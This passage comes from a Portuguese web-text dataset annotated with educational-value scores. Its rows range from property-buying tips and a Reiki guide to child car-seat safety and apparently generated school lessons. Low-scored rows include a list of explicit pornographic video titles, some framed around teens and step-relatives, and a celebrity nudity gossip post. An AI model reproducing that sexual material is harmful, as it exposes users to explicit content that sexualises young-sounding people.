você foque em seus gastos em novos projetos, inclusive em uma reforma ou decoração do apartamento.O único cuidado a ser tomado é avaliar a possibilidade de sofrer uma descapitalização, ou seja, usar todas as economias para quitar o imóvel e ficar sem um tostão no banco. Para evitar o risco, é importante que o investidor faça uma compra adequada ao orçamento disponível ou elabore um novo planejamento financeiro no futuro. +Para quem não tem dinheiro no banco e deseja desfrutar do apartamento o quanto antes, a melhor opção é o financiamento imobiliário. Nesse sistema, o comprador faz um empréstimo no banco para obter crédito suficiente para comprar o imóvel desejado. A partir do pagamento de um valor de entrada (que não pode ultrapassar 30% do valor da sua renda total), o beneficiário passa a devolver o valor em forma de parcelas com juros ao banco financiador.Nesse caso, a manutenção de um planejamento financeiro eficiente é valiosa, porque pode auxiliar no adiantamento de parcelas, garantindo a redução dos juros e, consequentemente, no valor total do bem.Ainda, dependendo do agente financeiro escolhido e do valor do apartamento, é possível aproveitar recursos do FGTS para amortizar prestações do financiamento e reduzir o peso das despesas. +A aquisição por meio de consórcio é indicada para quem não tem pressa em desfrutar do apartamento. A vantagem é que as parcelas do sistema não têm juros e costumam ter seus valores definidos com base nas condições do beneficiário.Formado por um grupo de pessoas físicas ou jurídicas com objetivos em comum, o consórcio é organizado por uma empresa administradora que define os prazos e contempla cada participante com o valor necessário para a compra do bem.A cada mês, todos os consorciados pagam suas parcelas, que serão somadas para formar o valor de uma única carta de crédito. Por meio de sorteio ou lance, as cartas de crédito vão sendo entregues aos participantes até que o último membro seja beneficiado.Com o valor depositado na sua conta, você poderá dar entrada em um financiamento ou usá-lo em negociações de compra de apartamento à vista. +O fato de o mercado imobiliário viver em constante mudança dificulta a avaliação de compradores leigos em operações do setor. Nesse sentido, vale a pena consultar um corretor para ajudá-lo a identificar possíveis benefícios e desvantagens de um negócio.Na busca do apartamento ideal, desconfie de ofertas com valores muito menores do que aqueles encontrados em outros empreendimentos do mercado. A fim de se aproveitar de compradores inexperientes, muitos vendedores podem esconder defeitos e problemas graves no imóvel, o que representa prejuízos ao futuro proprietário. +Crédito: VivaReal",original,original,original,original,3,0.6 +"Passar de muitos símbolos para os quatro símbolos de Reiki | O Tao do Reiki +Passar de muitos símbolos para os quatro símbolos de Reiki +Vários sistemas, que derivam do Reiki Essencial, ensinam mais símbolos de Reiki do que os quatro que usamos. Muitos praticantes perguntam porque surgem mais símbolos. Essa é uma «evolução» natural em qualquer prática. Há sempre uma necessidade de trabalhar com algo mais, ou criar algo que possa indicar expressamente a diferença. Será necessário? +A necessidade é encontrada por cada um. Muitas vezes um praticante pode pensar que já experimentou tudo desse nível mas, o mais importante não é se fez gestos ou horas mas sim a transformação que realizou em si, a elevação da consciência. +Quero ressalvar-te que a criação de novos Sistemas de Reiki é feita pela necessidade de cada um. O mais importante mesmo é a prática de Reiki, por isso, há que respeitar tudo. +Como praticar «apenas» os quatro símbolos de Reiki +Para quem tem algum sistema de imensos símbolos e encontre apenas sentido nos quatro símbolos de Reiki, aqui ficam algumas dicas para a prática e integração destas ferramentas. +O desenho dos símbolos +Começa, primeiro, por praticar o desenho dos símbolos. Coloco a ilustração em baixo, caso necessites da folha para ajudar o seu desenho, é só pedir. Possivelmente alguns sistemas ensinam o desenho de forma diferente, principalmente do Honshazeshonen e do Daikomyo. Faz conforme aprendeste. +Os símbolos de Reiki +A prática do desenho é importante, é uma forma de gravares em ti, a forma do símbolo. Assim, poderás usar com confiança em todas as situações, principalmente as de emergência. +Começa por desenhar cada um dos quatro símbolos na mão. Diz o seu mantra e deixa o símbolo crescer em energia na mão; +Aplica o autotratamento completo, pelo menos 4 dias ou então, nada melhor que voltar a fazer os 21 dias; +Se quiseres, podes ainda fazer um símbolo por dia, para sentires a diferença. Vê como fazer nas Cartas Técnicas, Reiki Autotratamento e Reflexão. Aproveita e insere os princípios e os poemas na tua prática. +Experimenta colocar um símbolo em cada posição, por dia. Vai ajudar-te a compreender o efeito dessa frequência nesse local. +Medita sobre cada um dos símbolos, sente o que esse símbolo pode fazer em cada chakra, no teu corpo físico, emocional e mental. Sente. Podes ver as meditações nos livros Reiki – Elevação da Consciência e O Grande Livro do Reiki (são diferentes). +Sente cada símbolo na tua aura, assim como dentro do teu corpo. +Os 4 símbolos de Reiki no dia-a-dia +Nada melhor que expressar Reiki no nosso dia-a-dia, para que as coisas aconteçam. Várias situações onde podes aplicar os símbolos: +No envio de Reiki para as tuas situações; +Na comida; +Potenciar a tua energia vital; +Limpar o espaço; +Purificar o corpo; +Reiki é incrível e apresenta-se também através dos quatro símbolos. Conhecer cada um dos símbolos, utilizá-los para o nosso tratamento e elevação da consciência, faz parte do que o Mestre Usui determinava como aplicação «para a melhoria do corpo e da mente». +Diverte-te a praticar, não são apenas 4 símbolos, são sim ferramentas de muito trabalho e desenvolvimento interior. +Desenhar símbolos de Reiki nas mãos Os símbolos de Reiki mostrar ou não, o respeito e a elucidação Os símbolos de Reiki, desenhados pela Mestre Takata",original,original,original,original,3,0.6 +"Segurança Rodoviaria Estrada Segura Para As Crianças - Susana Almei… +Apresentação de segurança rodoviári... by fergwen 1612 views +Segurança Rodoviária by turma14EPAD 9098 views +Prevenção rodoviária by gustavoericardo 55501 views +Segurança rodoviária by Sara Daniela 20512 views +Seguranca infantil by DenizecomZ 3877 views +1. Segurança Rodoviária +2. Segurança rodoviária A segurança rodoviária é um tema que interessa a todos os cidadãos. Todos têm um importante papel a desempenhar para tornar as estradas mais seguras. Não obstante a eficácia das acções já realizadas, na União Europeia, o número de vítimas das estradas continua a ser demasiado elevado: 1,3 milhões de acidentes rodoviários por ano que provocam 43 000 mortos e 1,7 milhões de feridos. O comportamento dos condutores é, reconhecidamente, a primeira causa dos acidentes mortais: velocidade, consumo de álcool ou droga, cansaço, falta de cinto de segurança ou capacete, etc. +3. SISTEMAS DE RETENÇÃO PARA CRIANÇAS As crianças são seres humanos delicados que confiam em nós, adultos, para que cuidemos delas com toda a segurança… E nós, adultos, será que correspondemos a essa confiança? Até que ponto é que as protegemos devidamente quando as transportamos de carro? Estas são perguntas que nos devemos fazer a nós próprios +4. Como escolher um sistema de retenção adequado aos nossos filhos? Grupo 0 Crianças com menos de 10 kg Grupo 0+ Crianças com menos de 13 kg +5. Grupo 3 Crianças entre 22 e 36 kg (Banco elevatório com costas) Grupo 3 Crianças entre 22 e 36 kg (Banco Elevatório) sem costas +6. Como saber se a “cadeira” do nosso filho está correctamente instalada? +7. -Para uma instalação correcta e segura, devemos ler SEMPRE atentamente os manuais de instruções do fabricante da cadeirinha e do veículo e respeitar essas instruções. -O sistema de retenção deve, também, estar bem fixado à estrutura do veículo, nomeadamente através dos cintos de segurança do próprio veículo ou do designado sistema ISOFIX. -As precintas do sistema de retenção devem estar SEMPRE correctamente apertadas, ou seja, sem folgas, embora garantindo o conforto da criança. -As crianças devem viajar no banco de trás dos automóveis de passageiros de quatro ou mais lugares. -Existem contudo, para crianças com idade inferior a 3 anos, sistemas de retenção que permitem, sob determinadas condições, a sua instalação no banco da frente ao lado do condutor, com a “cadeirinha” voltada para a retaguarda. +8. Mas atenção aos airbags! As crianças com idade inferior a 3 anos só podem ser transportadas no banco ao lado do condutor se: -Não existir airbag; -O airbag estiver desligado – através de dispositivo de origem previsto para o efeito; - O airbag tiver sido desactivado pelo representante da marca, através de autorização da DGV. +9. Como saber se a “cadeira” escolhida é segura? Antes de a adquirir, certifique-se que a mesma se encontra homologada de acordo com o REGULAMENTO 44 ECE/UN, uma vez que só neste caso cumpre os requisitos técnicos de Exemplo de uma marca de homologação segurança. +10. Mas o que é afinal um sistema de retenção para crianças? Um sistema de retenção para crianças é o conjunto de componentes, que pode incluir uma combinação de precintas ou componentes flexíveis com uma fivela de aperto, dispositivo de regulação, acessórios e, nalguns casos, uma cadeira adicional e/ou um escudo contra impacte, capaz de ser fixado a um automóvel, sendo concebido de modo a diminuir o risco de ferimentos do utilizador em caso de colisão ou de desaceleração do veículo através da limitação da mobilidade do seu corpo. +11. LEMBRE-SE! Transportar uma criança num automóvel sem o respectivo sistema de retenção é um comportamento irresponsável que, em caso de acidente ou travagem brusca, pode ter consequências fatais. É também uma contra-ordenação grave punida por lei com coima e sanção acessória de inibição de conduzir. Lembre-se, mais uma vez, que uma colisão a 50 km/h, se a criança não for transportada em sistema de retenção apropri...",original,original,original,original,4,0.8 +"A fórmula é bastante conhecida. +Quanto mais músculos ativar, mais energia vai usar. +Quanto mais forte e por mais tempo o fizer, maior a queima de calorias. +Para maximizar a perda, deve-se malhar os grupos musculares inferiores e superiores. +Então, o que mais ajuda a perder peso e manter o condicionamento é o crossfit. +Até agora, esta definição permaneceu um tanto vaga. +Mas um estudo revelou os movimentos, dentro da linha de exercícios, mais eficazes. +A pesquisa foi feita pela Universidade Kennesaw State (Estados Unidos). +Trata-se do treino docemente chamado “Cindy”. +Deve-se repetir a sequência quantas vezes conseguir em 20 minutos. +Ao final, em menos de meia hora foram embora 261 calorias. +O estudo foi publicado no Journal of Sport and Human Performance. +É verdade que podemos praticar o Cindy em qualquer lugar. +Mas é preciso cuidado com o vigor necessário, já que o esforço é forte. +No estudo, pessoas treinadas chegaram a 170 batimentos cardíacos por minuto. +E chegaram a 88% de sua frequência cardíaca máxima. +Para quem não é acostumado, deve-se começar aos poucos. +Por isso, recomendo o ambiente seguro de uma academia, com a supervisão de profissionais.",original,original,original,original,2,0.4 +"Marília e Pedro: Recados, 22/09/2018 | Wedy +#chabarlilaepeu +E de repente chega o momento sublime da união dessas duas peças raras! Parabéns ao casal. Desejo que o espírito de alegria que permeia vocês permaneça, bem como o respeito mútuo e que formem uma família linda. Felicidades! Infelizmente não conseguirei comparecer, mas sintam abraçados e meus votos de uma estrada repleta de momentos bons, sabendo que, naqueles taciturnos, quando vierem, possam contar comigo! A jornada é longa, mas valerá a pena! Paz e bem! E curtam bastante... +escrito em quinta-feira, 20 de setembro de 2018, 10h59 +Má e Pedro... casal lindo... desejo toda a felicidade do mundo a vocês! Que a união se fortaleça ainda mais e que seja regada com muito amor, paciência, cumplicidade e respeito. E que as boas energias que vocês transmitem permaneçam e auxiliem na realização dos sonhos sonhados juntos. Parabéns pelo casamento! +Carol e João Vítor +escrito em quinta-feira, 20 de setembro de 2018, 10h57 +Parabéns Lila e Pedrão! E que esse momento de alegria seja a confirmação da felicidade construída por vocês. Muita paz e sabedoria sempre. +escrito em quarta-feira, 19 de setembro de 2018, 23h01 +Estamos muito felizes por compartilhar este momento com vocês e vivê-lo tão de perto! Desejamos que o início desta nova etapa seja de muita sabedoria e partilha. Que a união prevaleça diante de todos os passos e decisões futuras...uma nova família se inicia e ela já é muito abençoada! +Alessandra e Breno +escrito em domingo, 05 de agosto de 2018, 18h47 +Cadê a ""Nossa história"" do casal?? +Afrânio e Carol +escrito em terça-feira, 22 de maio de 2018, 22h25",original,original,original,original,0,0.0 +"Olá, pequenos exploradores da língua portuguesa! Hoje, vamos embarcar em uma aventura super legal no mundo das palavras. Preparem-se, porque vamos descobrir segredos incríveis sobre a ortografia e a pontuação! Já pensou em como as letras, quando juntinhas, formam palavras que contam histórias e nos ajudam a entender o mundo? E como os sinais de pontuação são como semáforos, nos guiando para dar o tom certo às nossas frases? + +A ortografia é como um mapa do tesouro, indicando o caminho certo para escrever cada palavra. Às vezes, duas letrinhas parecem ter o mesmo som, mas só uma delas está correta! Por exemplo, você sabe quando usar ""mas"" e ""mais""? ""Mas"" é como um ""porém"", quando queremos mostrar uma ideia diferente. Já ""mais"" indica quantidade, como ""Eu quero mais um pedaço de bolo!"". Viu só? Parece complicado, mas com a prática, fica fácil, fácil! Que tal criarmos frases usando ""mas"" e ""mais"" para treinar? + +A pontuação é a mágica que dá vida às nossas frases. Imagine ler um texto sem vírgulas, pontos, exclamações... seria uma bagunça! A vírgula é como uma pausa para respirar, separando ideias e dando um ritmo gostoso à leitura. O ponto final indica que uma ideia terminou, como se fosse um sinal de ""fim de papo""! E a exclamação? Ah, ela serve para mostrar surpresa, alegria, ou até um susto! ""Que bolo delicioso!"", ""Cuidado com o cachorro!"" – percebeu como a exclamação deixa tudo mais emocionante? E não podemos esquecer da interrogação, que aparece quando fazemos uma pergunta. ""Qual é o seu nome?"", ""Você gosta de sorvete?"" – sem a interrogação, como saberíamos que são perguntas? + +Para finalizar nossa aventura, lembrem-se: a ortografia e a pontuação são nossas amigas, e não inimigas! Com um pouco de atenção e muita leitura, vocês se tornarão verdadeiros mestres das palavras. Pratiquem todos os dias, leiam livros, escrevam bilhetes e inventem histórias. E, o mais importante, divirtam-se com a língua portuguesa! Que tal escreverem um pequeno conto usando todos os sinais de pontuação que aprendemos hoje? Boa sorte, exploradores!",Português,Ortografia e pontuação,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional. Ele introduz conceitos básicos de ortografia e pontuação de forma lúdica e acessível para crianças, utilizando analogias e exemplos práticos que facilitam a compreensão. A linguagem é adequada ao público infantil, incentivando a prática e o uso correto da língua portuguesa. Além disso, propõe atividades simples para reforçar o aprendizado, tornando-o relevante para o ensino fundamental.",5,1.0 +"Eu quero muito ler o livro A outra vida, apesar da capa, na minha opinião, não ter nada haver com a sinopse. Beijos +Realmente, não é muito bonita não hehehe +Muito curiosa para ler Olho por Olho! Nunca li nenhum livro nesse gênero! +O dá Emily nem comento, pois sou suspeita para falar dos livros da autora, todos que li dela, gostei! <3 +Tipo Destino também quero ler, pois gostei de Esperando por Você ^^ +Eu Li: Liberta-me - Tahereh Mafi + Promoção!",original,original,original,original,1,0.2 +"Você já parou para pensar em quem vivia no Brasil antes da chegada dos portugueses? E como vivem os povos indígenas hoje? Essa é uma história rica e fascinante que faz parte da nossa identidade! Vamos embarcar nessa jornada de conhecimento? + +Antes de 1500, o território que hoje chamamos de Brasil era habitado por diversos povos indígenas, cada um com sua cultura, língua e costumes. Imagine um mosaico gigante, cheio de cores e formas diferentes! Esses povos não eram um único grupo, mas sim uma diversidade enorme, como os Tupinambá, os Guaranis, os Yanomami e muitos outros. Eles viviam em harmonia com a natureza, retirando dela o sustento, mas também cuidando para que ela se mantivesse preservada. A caça, a pesca, a agricultura e o extrativismo eram atividades importantes para a sua sobrevivência. + +A relação dos povos indígenas com a terra é muito diferente da nossa. Para eles, a terra não é apenas um pedaço de chão, mas sim a mãe que os alimenta e protege. Por isso, eles a respeitam e cuidam dela com muito carinho. As florestas, os rios e os animais são considerados sagrados e fazem parte de sua cultura e religião. Muitas vezes, os nomes das crianças e dos lugares estão ligados à natureza, mostrando essa profunda conexão. + +Com a chegada dos portugueses, essa realidade mudou drasticamente. Os povos indígenas foram forçados a abandonar suas terras, a trabalhar para os colonizadores e a abandonar seus costumes. Muitos morreram em decorrência de doenças trazidas pelos europeus ou em conflitos com os colonizadores. Essa foi uma época muito difícil para os povos indígenas, marcada por muita violência e sofrimento. + +Mesmo com todas as dificuldades, os povos indígenas resistiram e continuam a lutar por seus direitos. Hoje, eles buscam manter viva a sua cultura, a sua língua e os seus costumes. Muitas comunidades indígenas têm se organizado para defender suas terras e para garantir o acesso à educação e à saúde. Eles também têm se destacado na luta pela preservação do meio ambiente, mostrando que é possível viver em harmonia com a natureza. + +É importante lembrar que os povos indígenas não são apenas parte do nosso passado, mas também do nosso presente e do nosso futuro. Eles têm muito a nos ensinar sobre respeito à natureza, sobre a importância da comunidade e sobre a valorização da cultura. Ao conhecer a história dos povos indígenas, estamos conhecendo a história do Brasil e construindo um futuro mais justo e igualitário para todos. Que tal pesquisar sobre um povo indígena específico e descobrir mais sobre sua cultura? Quais tradições te chamam mais atenção? Como podemos aprender com eles a cuidar melhor do nosso planeta?",História,Povos indígenas,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional. Introduz o tema dos povos indígenas de forma envolvente e acessível, alinhado ao currículo de história e geografia. Explora a cultura, relação com a natureza, o impacto da colonização e a resistência indígena, incentivando a pesquisa e reflexão. A linguagem é clara e adequada ao ensino fundamental, promovendo a valorização da diversidade cultural e a conscientização sobre questões sociais e ambientais.",5,1.0 +"Moda Infantil 4 a 12 anos Azul Minnie – cea +Algodão (1) Jeans (7) Malha (1) +Azul Claro (4) Azul Médio (1) Delavê (2) +4 (2) 6 (1) 8 (1) 10 (2) 12 (1) +até R$ 25,00 (6) de R$ 25,00 a R$ 50,00 (1) de R$ 50,00 a R$ 75,00 (1) de R$ 75,00 a R$ 100,00 (1) +http://www.cea.com.br/moda-infantil/4%20a%2012%20anos/Azul/Minnie?O=OrderByReleaseDateDESC&PS=9&map=c,specificationFilter_218,specificationFilter_199,specificationFilter_204",original,original,original,original,1,0.2 +"Sabe aquele pedaço de pizza que você divide com seus amigos? Ou o preço daquele jogo que está em promoção com desconto? Frações e decimais estão por toda parte, e entender como eles funcionam é essencial para o nosso dia a dia. Às vezes, esses números parecem um pouco misteriosos, mas com um pouco de prática, vamos descobrir que eles são mais simples do que imaginamos. + +Imagine que você tem uma barra de chocolate e quer dividir igualmente entre você e mais três amigos. Cada um de vocês receberá um quarto da barra, certo? Esse ""um quarto"" é uma fração, representada como 1/4. O número de baixo (4) indica em quantas partes iguais o todo foi dividido, e o número de cima (1) mostra quantas dessas partes estamos considerando. Frações são como pedaços de um todo, e podemos usá-las para representar qualquer parte de algo. + +E os decimais? Bem, pense no preço de um sorvete: R$ 2,50. Esse número com vírgula é um decimal. A parte antes da vírgula (R$ 2) representa a parte inteira, e a parte depois da vírgula (50 centavos) representa uma parte menor que um inteiro, uma fração de real. Decimais são outra forma de escrever frações, só que em vez de usar uma barra, usamos uma vírgula para separar a parte inteira da parte fracionária. + +Agora, vamos imaginar que você está ajudando seus pais a preparar um bolo. A receita pede 1/2 xícara de açúcar e 0,75 xícara de farinha. Como saber a quantidade certa? Aqui entra a relação entre frações e decimais. 1/2 é o mesmo que 0,5 (meio). Então, 1/2 xícara de açúcar é igual a 0,5 xícara de açúcar. Entender essa equivalência nos ajuda a lidar com diferentes medidas e quantidades. + +E que tal pensarmos em porcentagens? Quando vemos um desconto de 25% em uma loja, isso significa 25 em cada 100, ou seja, 25/100. Essa fração também pode ser escrita como o decimal 0,25. As porcentagens são apenas outra forma de expressar frações e decimais, facilitando a comparação e o cálculo de proporções. + +Dominar frações e decimais abre um mundo de possibilidades. Desde calcular descontos e dividir contas até entender gráficos e tabelas, esses números nos ajudam a tomar decisões informadas e a resolver problemas do cotidiano. Então, da próxima vez que você se deparar com uma fração ou um decimal, lembre-se: eles são apenas ferramentas que nos ajudam a entender melhor o mundo ao nosso redor. Que tal procurar outras situações no seu dia-a-dia onde você encontra frações e decimais? Como você os usa?",Matemática,Frações e decimais,anos finais (6º ao 9º ano),"O trecho apresenta conceitos básicos de frações, decimais e porcentagens de forma clara e contextualizada, utilizando exemplos práticos e relevantes para o cotidiano dos alunos do ensino fundamental. A linguagem é acessível e o conteúdo é apresentado de forma progressiva, facilitando a compreensão. Além disso, o texto incentiva a aplicação dos conhecimentos em situações reais, promovendo o aprendizado significativo.",5,1.0 +"No terceiro mês do ano, há algumas comemorações que, com imaginação, podem ser usadas para expandir o conhecimento infantil, entre elas o Dia Nacional do Turismo e o Dia Internacional da Mulher +Turismo não significa só visitar lugares inusitados. Um olhar mais apurado em locais próximos à escola pode render uma série de conhecimentos. Por menor que seja a cidade, sempre há uma igreja, uma praça ou um antigo edifício repleto de informações históricas, artísticas, arquitetônicas, de diversidades biológicas etc. Ao explorá-los junto às crianças, o interesse delas para o entorno será despertado e, logo, todas aprenderão a valorizá-lo. +Já o Dia da Mulher pode ir além da simples lembrancinha, pois ele é ideal para provocar uma reflexão sobre a condição feminina dentro de um contexto próprio: qual o papel da mulher em uma sociedade urbana ou rural, conforme sua classe social? Ou, quais foram as mulheres que romperam com os padrões e mudaram a história? A partir do entendimento de alguns aspectos, os alunos poderão aprender a respeitar e até amar muito mais as mulheres com quem convivem! +O Colégio Santo Ivo, que fica no bairro da Lapa, zona oeste da capital paulista, já expande o ensino dado aos seus alunos por meio do projeto “Pelas Ruas de São Paulo”, para que conheçam e valorizem as características fundamentais da cidade. A ideia da iniciativa, na qual são realizadas saídas mensais para pontos culturais da cidade, é agregar conhecimento e aprimorar o olhar dos estudantes, pois São Paulo, como qualquer outra localidade brasileira, independente do tamanho, tem edifícios históricos, museus, igrejas, praças e momentos que remetem ao passado. Tais lugares ainda possibilitam encontros com pessoas diferentes e apresentam uma geografia singular, que merecem ser observadas in loco. +Segundo explica Myrna Ibrahim, diretora pedagógica da instituição citada, após a atividade de rua, sempre é feita uma leitura dos fatos, pois a saída pedagógica abre espaço para uma apreciação pessoal da realidade sem recortes. Para os alunos que já visitaram lugares como a 30ª Bienal, a Pinacoteca do Estado de São Paulo e o Museu da Arte Brasileira, da Fundação Armando Álvares Penteado (FAAP), a atividade acaba despertando novos interesses. “Com os passeios, aprendi a me interessar por arte. Além disso, sem perceber, nós aprendemos não somente sobre determinado local ou pessoa, mas também sobre todo contexto da sua época”, diz Roberta Scátola, aluna do colégio. +A partir desse exemplo, que tal implantar algo diferente em sua escola no Dia Nacional do Turismo? Com um bom planejamento, sempre descobrimos que há vários pontos, inclusive não valorizados, que podem ser interessantes sobre muitos aspectos e, entre eles, muitos ainda dão entrada gratuita para escolas. Pesquise e proporcione à criançada o que de outra maneira elas não teriam a oportunidade de conhecer! +Neste ano, em vez de falar da história do dia 8 de março, que tal fugir do tradicional e provocar uma reflexão sobre as diferenças entre o sexo masculino e o feminino? Embora tivemos uma mulher na presidência, explique que ela não reflete a situação daquelas que fazem parte das camadas mais baixa da sociedade. Em seguida, comece uma série de questionamentos para que cada um, de acordo com a sua própria realidade, perceba o papel que a mulher ocupa no contexto referente. Pergunte o que eles entendem por: +Liberação feminina e ascensão social? +A importância de situar a mulher como um ser mais sensível e frágil conforme a estrutura de poder masculina? +Como é que criaturas tão sensíveis podem assumir papéis de comando, de poder e de proteção familiar? +Por que em muitas sociedades a mulher ainda é tida apenas como reprodutora e mãe de família? +De acordo com a dimensão biológica e social, quais as disparidades entre o sexo masculino e feminino? +Tais diferenças são significativas? +Elas justificam a atual desigualdade na estrutura social? +A mulher tem o direito de não querer ser mãe na sociedade atual? +As mulheres ...",original,original,original,original,4,0.8 +"Adolescente solo vídeo pornô caseiro das coroas pervertido adora cavar sua fenda rosada com vibrador 03:21 +Linda gata assistir vídeo pornô de coroas ruiva recebe sua buceta um pouco lambida e dá uma bela cabeça 06:10 +Garota universitária Shinobu vídeo de pornô coroas gostosas Kasagi executa sua buceta 06:24 +A libidinosa gostosa Kristen Scott não consegue vídeos pornôs coroas parar de comer o regalo molhado da namorada sexy 06:04 +Puta site porno so de coroas tatuada em meia arrastão rasgada Harlowe Blue fica com a boca e a buceta fodidas 03:00 +Duas putas rasgadas estão fodendo vídeo de pornô com as coroas gostosas em cena ultrajante de foda a três FFM 03:33 +Garota peituda quer filmes sexo gratis coroas ser submissa se ele a fode com força 06:31 +Naomi mal consegue lidar com dong king size filmes pornô coroas 12:00 +Cara tatuado extraordinário gosta de videos pornos de velhas gostosas rimar anal e buceta de adolescente 15:54 +A loira atraente Lisa dá um boquete incrível vídeo pornô coroas gostosas no vídeo POV 01:20 +Lésbicas excêntricas e gostosas Shawna Lenee e Kayla Carrera se despindo quero ver filme pornô de coroas 04:07 +A enteada fofa vídeo pornô de coroas negras Rosalyn Sphinx entra na calça e dá um boquete 03:27 +Sedutora oversexed porno das coroas brasileiras de óculos leva gozada após foda de cachorrinho áspera 06:11 +Loira peituda Rhylee Richards assistir vídeo pornô com coroas fode na mesa e leva gozada 11:24 +Garota de ébano peituda BBW Candace Von recebe vídeo pornô com coroas negras cunnilingus 12:02 +A meia-irmã fofa Amy filme pornô as coroas gostosas está chupando pau duro em uma câmera pov 05:21 +Cara faminto por sexo fode vídeo pornô de coroas de 50 anos namorada bem gostosa em cima da mesa 05:27 +Morena excitada de óculos faz boquete no filme de pornô de mulher de 60 anos sofá 03:34 +Loira amarrada e com cinto com peitos grandes e filme de pornô de mulher de 60 anos lábios suculentos é fodida por mestre brutal 05:06 +Vaqueira ruiva maravilhosa deseja encher a boca pornor com coroas com esperma pegajoso 06:05 +Charlene seduz a amiga e quero vídeo pornô das coroas come sua saborosa cereja molhada 04:53 +Lesbo sex bombs Lux Kassidy ver filmes de sexo com velhas e Rebecca Rayann em preliminares delicadas 03:05 +Loira curvilínea Sasha Sin sopra video porno de coroas e supera o pau enorme 05:43 +Namorada indiana peituda recebe seu lindo corpo acariciado vídeo pornô de coroas negras 12:29 +Carro floosie Samantha fica vídeo pornô com coroas negras sujo fodido 10:17 +Grupo incrivelmente duro e pervertido fodendo com filme de sexo de mulher velha garotas com tesão 03:48 +Massagista tesão fode linda gata esbelta Ada em videos caseiros coroas sua boca e buceta 12:15 +Garotas negras prostitutas Olivia Winters e Mika Brown estão furiosas em um trio hardcore video porno de coroas 04:52 +Sênior vidios pornô com coroas gosta de foder adolescente bonita com gostoso buraco apertado Nana Garnet 05:50 +Loira com filme porno gratis com coroas tatuagens Emily Cutie é fodida e gozada por garanhão italiano com tesão 05:37 +Cadela loira tesão debocha morena sapatão e vídeo de pornô com as coroas brinca com a bucetinha dela 01:23 +Cara magro com filme pornô com mulher de 60 anos pau enorme fode duas gatas gordinhas com peitos monstruosos 05:31 +Cadela mega filme pornô de 60 anos peituda April McKenzie dá a cabeça e leva pancada em pose de cachorrinho 11:50",original,original,original,original,0,0.0 +"Caio Jardim Domingues +2 Ideias sobre a obra 2 TROCANDO IDEIAS SOBRE A OBRA (ALUNOS SENTADOS EM CÍRCULO) ABORDAGEM GERAL Cite outros títulos que o livro Memórias de um dicionário poderia ter. A turma vai eleger o mais interessante. Em que cenários se desenrola a história? Qual deles é o predominante? Se você escrevesse um livro sobre um dicionário, o que abordaria? Aproximadamente, em que intervalo de tempo a história se desenrola? Quem narra a história? Qual das alternativas define o narrador da obra? Narrador-personagem - Na primeira pessoa, relata os fatos de acordo com seu ponto de vista. Narrador-observador observador - Na terceira pessoa, não participa da ação e só narra os fatos, não mostrando o que os personagens pensam e sentem. Narrador-oniscente oniscente - Na terceira pessoa, não participa da ação, mas revela o que os personagens pensam e sentem. Como você classificaria a linguagem da obra: urbana ou regional? Que apelido foi dado ao personagem principal? Que outro apelido você daria a ele? Faça uma pergunta ao personagem principal. Um outro aluno responderá. Faça um elogio ao personagem principal. Agora fa��a uma crítica a ele. Um outro aluno defenderá o personagem. Você se acha parecido com algum dos personagens? Justifique. Em alguma situação da sua vida, você se sentiu como Big? Em grupo, escolha um personagem da história e faça sua descrição, acrescentando informações que não constam do livro. Em grupo, use a criatividade e inclua um novo personagem na obra, descrevendo sua personalidade e como atuará na história. Se você fosse participar de uma peça teatral com base na obra, que personagem você gostaria de interpretar? Por quê? Na sua opinião, qual é a parte mais interessante da história? E a menos interessante? E a mais engraçada? A mais emotiva? A mais triste? A mais surpreendente? Cite passagens onde se nota a presença de medo/decepção / preconceito / amizade / resignação/ euforia / ciúme / solidariedade / preconceito / tristeza / alegria / religiosidade. Tente lembrar algumas situações embaraçosas por que passou o dicionário. Você acha que alguma passagem da história está longe de acontecer na vida real? Explique. Cite uma frase ou parágrafo que chamou sua atenção durante a leitura. Justifique. +3 Guia de Atividades - Memórias de um dicionário Alguma passagem da obra lida fez você lembrar um fato da sua vida? Qual? Que mensagens você acha que o autor quis passar para os leitores? Na sua opinião, qual é a mais importante delas? Que perguntas você faria ao autor da obra? Que críticas você faria? Que modificações você proporia para uma nova edição da obra? Cite um aspecto positivo da obra. Cite um aspecto negativo. O que você sabe sobre o autor da obra? CAPÍTULO O1 Como a história se inicia? Como o dicionário se apresenta? Que outras características você acrescentaria ao dicionário? Onde se encontra o dicionário quando ele conta sua história? Por que Big espera que os livros de literatura não fiquem magoados com ele? Como ele vê a literatura? Como um livro se sente nas estantes de uma loja? Como você explicaria o que ele chama de momento da libertação? Na vida de uma adolescente, o que seria esse momento? Quem era considerado o pajé da tribo? Por quê? Que critério adotava o livro de psicologia para elogiar ou criticar uma pessoa que se aproximava da estante? Você acha que este critério tem fundamento? Justifique. Você tem algum critério parecido para julgar as pessoas que se aproximam? Naquele momento da compra, você imaginava que se tratava de um garoto de apenas cinco anos? Como você via o neto do velho Almeida? Como o dicionário reagiu quando soube a idade de Miguel? O que o livro de psicologia falou sobre isso? CAPÍTULO O2 Que ambiente o dicionário encontrou ao chegar à casa de Miguel? Como era o menino aos cinco anos? Como era o relacionamento de Miguel e o dicionário naquela época? Com tamanha indiferença do menino para com o dicionário, por que este não se desesperava? Como as outras pessoas da casa trat...",original,original,original,original,4,0.8 +"Em 2003 tivemos a oportunidade de ver os mamilos da Beyonce, parece injusto que isso fique esquecido. +(Carregue para aumentar) +« Joana Ferreira Nua +Dakota Johnson nua em revista (actriz de 50 Sombras de Grey » +Deixe uma resposta Cancelar resposta +O seu endereço de email não será publicado. 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A iniciativa faz parte do Programa Nacional de Documentação da Trabalhadora Rural (PNDTR), coordenado pelo Ministério do Desenvolvimento Agrário (MDA). O objetivo é atender mil mulheres durante o período. Serão emitidas primeira e segunda via do Registro de Nascimento, da Carteira de Identidade (RG), e da Carteira de Trabalho e Previdência Social (CTPS), além da primeira via do CPF, da declaração de Aptidão ao Pronaf (DAP) e de inscrições no CADÚnico. A coordenadora substituta de Acesso à Terra e Cidadania do MDA, Tereza Arruda, lembra da importância de ações como o mutirão. ""As mulheres conseguem emitir documentos civis e trabalhistas, e, a partir disso, começam a acessar políticas públicas, como crédito e assistência técnica, tornando-se mais autônomas e com maior possibilidade de melhorarem a renda"", afirma Tereza. Os mutirões serão realizados em cinco comunidades diferentes, conforme calendário prévio. O horário da atividade é sempre das 9h às 17h. Ainda que sejam destinados às mulheres, homens e crianças também podem se beneficiar da iniciativa, dentro do número de documentos previstos. +Serviço Data: 5 e 6 de novembro (quarta e quinta-feira) Local: Assentamento Bóia +Data: 